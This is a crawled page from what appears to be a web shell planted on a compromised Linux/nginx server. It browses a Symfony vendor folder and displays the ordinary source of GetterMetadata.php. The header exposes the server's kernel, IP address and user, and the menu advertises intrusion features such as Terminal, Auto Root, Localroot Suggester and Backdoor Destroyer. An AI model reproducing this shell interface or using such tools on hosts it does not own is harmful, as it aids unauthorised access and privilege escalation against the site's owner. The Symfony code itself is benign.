Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 3.15.10.50
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
wb /
vendor /
symfony /
validator /
Mapping /
Delete
Unzip
Name
Size
Permission
Date
Action
Factory
[ DIR ]
drwxrwxr-x
2022-07-20 13:00
Loader
[ DIR ]
drwxrwxr-x
2022-07-20 13:00
AutoMappingStrategy.php
805
B
-rw-rw-r--
2022-07-20 13:00
CascadingStrategy.php
1.4
KB
-rw-rw-r--
2022-07-20 13:00
ClassMetadata.php
15.33
KB
-rw-rw-r--
2022-07-20 13:00
ClassMetadataInterface.php
2.78
KB
-rw-rw-r--
2022-07-20 13:00
GenericMetadata.php
6.54
KB
-rw-rw-r--
2022-07-20 13:00
GetterMetadata.php
2.55
KB
-rw-rw-r--
2022-07-20 13:00
MemberMetadata.php
5.22
KB
-rw-rw-r--
2022-07-20 13:00
MetadataInterface.php
1.5
KB
-rw-rw-r--
2022-07-20 13:00
PropertyMetadata.php
2.89
KB
-rw-rw-r--
2022-07-20 13:00
PropertyMetadataInterface.php
1.24
KB
-rw-rw-r--
2022-07-20 13:00
TraversalStrategy.php
1.48
KB
-rw-rw-r--
2022-07-20 13:00
Save
Rename
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Validator\Mapping; use Symfony\Component\Validator\Exception\ValidatorException; /** * Stores all metadata needed for validating a class property via its getter * method. * * A property getter is any method that is equal to the property's name, * prefixed with "get", "is" or "has". That method will be used to access the * property's value. * * The getter will be invoked by reflection, so the access of private and * protected getters is supported. * * This class supports serialization and cloning. * * @author Bernhard Schussek <bschussek@gmail.com> * * @see PropertyMetadataInterface */ class GetterMetadata extends MemberMetadata { /** * @param string $class The class the getter is defined on * @param string $property The property which the getter returns * @param string|null $method The method that is called to retrieve the value being validated (null for auto-detection) * * @throws ValidatorException */ public function __construct(string $class, string $property, string $method = null) { if (null === $method) { $getMethod = 'get'.ucfirst($property); $isMethod = 'is'.ucfirst($property); $hasMethod = 'has'.ucfirst($property); if (method_exists($class, $getMethod)) { $method = $getMethod; } elseif (method_exists($class, $isMethod)) { $method = $isMethod; } elseif (method_exists($class, $hasMethod)) { $method = $hasMethod; } else { throw new ValidatorException(sprintf('Neither of these methods exist in class "%s": "%s", "%s", "%s".', $class, $getMethod, $isMethod, $hasMethod)); } } elseif (!method_exists($class, $method)) { throw new ValidatorException(sprintf('The "%s()" method does not exist in class "%s".', $method, $class)); } parent::__construct($class, $method, $property); } /** * {@inheritdoc} */ public function getPropertyValue($object) { return $this->newReflectionMember($object)->invoke($object); } /** * {@inheritdoc} */ protected function newReflectionMember($objectOrClassName) { return new \ReflectionMethod($objectOrClassName, $this->getName()); } }